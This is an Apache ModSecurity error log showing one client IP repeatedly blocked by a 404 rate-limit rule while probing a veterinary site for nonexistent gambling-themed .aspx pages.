[Tue Mar 17 07:10:52.687171 2026] [:error] [pid 22541:tid 22548] [client 51.83.238.207:49102] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abiN_KS6JNY1-CTsTA8HcwAAAQI"]
[Tue Mar 17 07:10:54.184529 2026] [:error] [pid 46020:tid 46026] [client 51.83.238.207:49118] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abiN_n-nCcd9BdzGdLccsQAAAMQ"]
[Tue Mar 17 07:10:55.828277 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:49122] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abiN_6S6JNY1-CTsTA8HdwAAAQ8"]
[Tue Mar 17 07:10:56.924622 2026] [:error] [pid 46020:tid 46034] [client 51.83.238.207:49136] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abiOAH-nCcd9BdzGdLccvgAAAMw"]
[Tue Mar 17 07:10:58.440020 2026] [:error] [pid 46020:tid 46032] [client 51.83.238.207:51086] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abiOAn-nCcd9BdzGdLccwQAAAMo"]
[Tue Mar 17 07:10:59.579781 2026] [:error] [pid 45915:tid 45934] [client 51.83.238.207:51094] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abiOA5h7U84ydzcrcncQGAAAAAU"]
[Tue Mar 17 07:11:01.365320 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:51100] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abiOBX-nCcd9BdzGdLcc0QAAAM4"]
[Tue Mar 17 07:11:02.347950 2026] [:error] [pid 45917:tid 45990] [client 51.83.238.207:51116] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abiOBhMMhmeqL5fT_hefIQAAAIE"]
[Tue Mar 17 07:11:03.949770 2026] [:error] [pid 22541:tid 22570] [client 51.83.238.207:51118] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abiOB6S6JNY1-CTsTA8HhwAAARg"]
[Tue Mar 17 07:11:04.889366 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:51120] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abiOCKS6JNY1-CTsTA8HiQAAARA"]
[Tue Mar 17 07:11:06.752179 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:51130] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abiOCqS6JNY1-CTsTA8HlAAAARI"]
[Tue Mar 17 07:11:08.329299 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:51142] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abiODKS6JNY1-CTsTA8HnQAAAQw"]
[Tue Mar 17 07:11:09.663865 2026] [:error] [pid 45916:tid 45981] [client 51.83.238.207:43594] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abiODbiS53PnClk_C9AESAAAAFM"]
[Tue Mar 17 07:11:10.111405 2026] [:error] [pid 45915:tid 45929] [client 51.83.238.207:43608] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abiODph7U84ydzcrcncQNwAAAAA"]
[Tue Mar 17 07:11:11.290842 2026] [:error] [pid 45916:tid 45983] [client 51.83.238.207:43616] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abiOD7iS53PnClk_C9AETwAAAFU"]
[Tue Mar 17 07:11:11.366940 2026] [:error] [pid 45915:tid 45950] [client 51.83.238.207:43632] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abiOD5h7U84ydzcrcncQOgAAABU"]
[Tue Mar 17 07:11:12.815824 2026] [:error] [pid 22541:tid 22569] [client 51.83.238.207:43654] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abiOEKS6JNY1-CTsTA8HtwAAARc"]
[Tue Mar 17 07:11:12.958936 2026] [:error] [pid 45916:tid 45962] [client 51.83.238.207:43640] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abiOELiS53PnClk_C9AEYAAAAEA"]
[Tue Mar 17 07:11:15.002249 2026] [:error] [pid 45917:tid 46002] [client 51.83.238.207:43660] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abiOExMMhmeqL5fT_hefNAAAAI0"]
[Tue Mar 17 07:11:15.114175 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:43670] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abiOE6S6JNY1-CTsTA8HvgAAARY"]
[Tue Mar 17 07:11:15.331283 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:43674] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abiOE6S6JNY1-CTsTA8HwQAAAQw"]
[Tue Mar 17 07:11:16.128810 2026] [:error] [pid 46020:tid 46027] [client 51.83.238.207:43682] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abiOFH-nCcd9BdzGdLcdDQAAAMU"]
[Tue Mar 17 07:11:18.166390 2026] [:error] [pid 45916:tid 45983] [client 51.83.238.207:56936] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abiOFriS53PnClk_C9AEZwAAAFU"]
[Tue Mar 17 07:11:18.217508 2026] [:error] [pid 45916:tid 45973] [client 51.83.238.207:56946] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abiOFriS53PnClk_C9AEaAAAAEs"]
[Tue Mar 17 07:11:18.357785 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:43692] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abiOFn-nCcd9BdzGdLcdFAAAAM8"]
[Tue Mar 17 07:11:18.927043 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:56960] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abiOFn-nCcd9BdzGdLcdGAAAANY"]
[Tue Mar 17 07:11:20.956970 2026] [:error] [pid 45917:tid 46012] [client 51.83.238.207:56966] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abiOGBMMhmeqL5fT_hefOgAAAJc"]
[Tue Mar 17 07:11:21.609011 2026] [:error] [pid 45917:tid 46005] [client 51.83.238.207:56996] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abiOGRMMhmeqL5fT_hefPgAAAJA"]
[Tue Mar 17 07:11:21.653612 2026] [:error] [pid 45915:tid 45950] [client 51.83.238.207:56982] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abiOGZh7U84ydzcrcncQSAAAABU"]
[Tue Mar 17 07:11:21.857031 2026] [:error] [pid 45917:tid 45996] [client 51.83.238.207:56968] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abiOGRMMhmeqL5fT_hefPwAAAIc"]
[Tue Mar 17 07:11:24.125600 2026] [:error] [pid 45917:tid 45995] [client 51.83.238.207:57004] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abiOHBMMhmeqL5fT_hefQQAAAIY"]
[Tue Mar 17 07:11:24.206528 2026] [:error] [pid 45915:tid 45946] [client 51.83.238.207:57008] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abiOHJh7U84ydzcrcncQTQAAABE"]
[Tue Mar 17 07:11:24.506691 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:57020] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abiOHH-nCcd9BdzGdLcdJgAAAM8"]
[Tue Mar 17 07:11:26.582824 2026] [:error] [pid 45915:tid 45942] [client 51.83.238.207:57022] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abiOHph7U84ydzcrcncQVAAAAA0"]
[Tue Mar 17 07:11:26.992148 2026] [:error] [pid 46020:tid 46041] [client 51.83.238.207:57030] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abiOHn-nCcd9BdzGdLcdLwAAANM"]
[Tue Mar 17 07:11:27.249521 2026] [:error] [pid 46020:tid 46030] [client 51.83.238.207:57048] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abiOH3-nCcd9BdzGdLcdMAAAAMg"]
[Tue Mar 17 07:11:27.259787 2026] [:error] [pid 45915:tid 45931] [client 51.83.238.207:57038] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abiOH5h7U84ydzcrcncQVgAAAAI"]
[Tue Mar 17 07:11:29.757827 2026] [:error] [pid 22541:tid 22563] [client 51.83.238.207:47882] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abiOIaS6JNY1-CTsTA8H2QAAARE"]
[Tue Mar 17 07:11:30.221346 2026] [:error] [pid 45917:tid 45995] [client 51.83.238.207:47910] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abiOIhMMhmeqL5fT_hefTQAAAIY"]
[Tue Mar 17 07:11:30.234431 2026] [:error] [pid 45917:tid 46011] [client 51.83.238.207:47894] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abiOIhMMhmeqL5fT_hefTgAAAJY"]
[Tue Mar 17 07:11:30.532594 2026] [:error] [pid 45917:tid 46004] [client 51.83.238.207:47896] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abiOIhMMhmeqL5fT_hefUAAAAI8"]
[Tue Mar 17 07:11:32.790505 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:47926] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abiOJH-nCcd9BdzGdLcdQgAAAM8"]
[Tue Mar 17 07:11:32.915989 2026] [:error] [pid 46020:tid 46041] [client 51.83.238.207:47928] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abiOJH-nCcd9BdzGdLcdRAAAANM"]
[Tue Mar 17 07:11:48.878571 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:47938] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abiONKS6JNY1-CTsTA8IHAAAARA"]
[Tue Mar 17 07:11:50.196070 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:47946] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abiONn-nCcd9BdzGdLcdbgAAAMI"]
[Tue Mar 17 07:11:50.865046 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:47966] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abiONqS6JNY1-CTsTA8IIQAAARY"]
[Tue Mar 17 07:11:51.495877 2026] [:error] [pid 46020:tid 46026] [client 51.83.238.207:39600] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abiON3-nCcd9BdzGdLcdcAAAAMQ"]
[Tue Mar 17 07:11:52.327599 2026] [:error] [pid 45917:tid 46000] [client 51.83.238.207:47952] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abiOOBMMhmeqL5fT_heffQAAAIs"]
[Tue Mar 17 07:11:52.967903 2026] [:error] [pid 45917:tid 46003] [client 51.83.238.207:39610] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abiOOBMMhmeqL5fT_heffgAAAI4"]
[Tue Mar 17 07:11:54.416507 2026] [:error] [pid 45917:tid 45993] [client 51.83.238.207:39618] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abiOOhMMhmeqL5fT_hefggAAAIQ"]
[Tue Mar 17 07:11:55.049484 2026] [:error] [pid 45917:tid 46011] [client 51.83.238.207:39628] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abiOOxMMhmeqL5fT_hefhAAAAJY"]
[Tue Mar 17 07:11:56.026713 2026] [:error] [pid 45917:tid 46006] [client 51.83.238.207:39630] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abiOPBMMhmeqL5fT_hefiAAAAJE"]
[Tue Mar 17 07:11:57.516045 2026] [:error] [pid 46020:tid 46045] [client 51.83.238.207:39642] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abiOPX-nCcd9BdzGdLcdhQAAANc"]
[Tue Mar 17 07:11:58.245639 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:45008] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abiOPn-nCcd9BdzGdLcdiQAAAM8"]
[Tue Mar 17 07:11:59.121153 2026] [:error] [pid 45915:tid 45947] [client 51.83.238.207:45014] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abiOP5h7U84ydzcrcncQbwAAABI"]
